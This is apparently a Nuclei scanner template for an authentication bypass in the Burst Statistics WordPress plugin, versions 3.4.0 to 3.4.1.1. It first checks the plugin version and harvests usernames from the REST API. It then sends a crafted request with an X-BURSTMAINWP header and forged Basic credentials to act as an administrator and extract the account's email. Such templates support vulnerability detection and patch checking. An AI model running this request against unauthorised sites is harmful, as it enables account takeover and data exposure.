WordPress Burst Statistics 3.4.0-3.4.1.1 - Authentication Bypass

id: CVE-2026-8181

info:
  name: WordPress Burst Statistics 3.4.0-3.4.1.1 - Authentication Bypass
  author: 0x_Akoko
  severity: critical
  description: |
    Burst Statistics – Privacy-Friendly WordPress Analytics plugin 3.4.0 to 3.4.1.1 contains an authentication bypass caused by incorrect return-value handling in is_mainwp_authenticated() function, letting unauthenticated attackers impersonate administrators, exploit requires knowledge of an administrator username.
  impact: |
    Unauthenticated attackers can impersonate administrators, leading to privilege escalation and full control over the application.
  remediation: |
    Update to a version later than 3.4.1.1 or the latest available version.
  reference:
    - https://github.com/murrez/CVE-2026-8181
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8181
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-8181
    epss-score: 0.14608
    epss-percentile: 0.96236
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 3
    vendor: really-simple-plugins
    product: burst-statistics
    publicwww-query: "/wp-content/plugins/burst-statistics/"
  tags: cve,cve2026,wp,wp-plugin,wordpress,burst-statistics,auth-bypass,unauth,vkev

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/burst-statistics/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(body), "burst statistics")'
          - 'compare_versions(version, ">= 3.4.0", "<= 3.4.1.1")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([\w.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/users"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"slug\"")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: admin_user
        part: body
        group: 1
        regex:
          - '"slug":"([^"]+)"'
        internal: true

  - raw:
      - |
        GET /wp-json/wp/v2/users/me?context=edit HTTP/1.1
        Host: {{Hostname}}
        X-BURSTMAINWP: 1
        Authorization: Basic {{base64(admin_user + ':x')}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"id\"", "\"email\"", "\"roles\"", "\"administrator\"")'
          - 'contains(content_type, "application/json")'
        condition: and

    extractors:
      - type: json
        part: body
        json:
          - '.email'
# digest: 4a0a00473045022100b50c2a8d243daf12cc5d610b3dbacef0ba27159f0b1c9988e4868ad907b82091022030237f606606d9e2f85cb0d58be9ce0efdb66e79a884a2dea18827e4b9562494:922c64590222798bb761d5b6d8e72950